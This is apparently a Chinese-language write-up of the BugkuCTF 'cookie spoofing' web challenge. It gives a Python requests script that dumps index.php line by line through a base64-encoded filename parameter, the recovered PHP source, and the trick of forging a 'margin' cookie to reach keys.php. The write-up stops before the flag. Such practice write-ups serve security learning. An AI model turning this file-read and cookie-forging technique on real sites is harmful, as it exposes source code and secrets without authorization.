bugkuctf cookie 欺骗
打开页面后是一堆的乱码,我们可以从f12看到它的url包含了line=&filename=a2V5cy50eHQ=
在线解密base64,发现了文件名是keys.txt
我们可以试着改变文件名称将它的index.php给复现出来。
例如:
由于index.php的行数,我们可以用request库 的脚本将它还原出来,得到index.php的源码
import requests
for i in range (30):
url="http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
s=requests.get(url)
print(s.text)
得到:
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
根据源码我们可以看到,他先对urlfilename后面的base64进行了解码,如果file没有传递,就显示index.php?line=&filename=a2V5cy50eHQ="
它的文件数组存储了了两个文件名,keys.txt和index.php,如果,cookie的margin=margin,那么数组就加入了keys.php,猜想,keys.php,就是我们想要的到的flag
所以,抓包,更改信息,得到flag: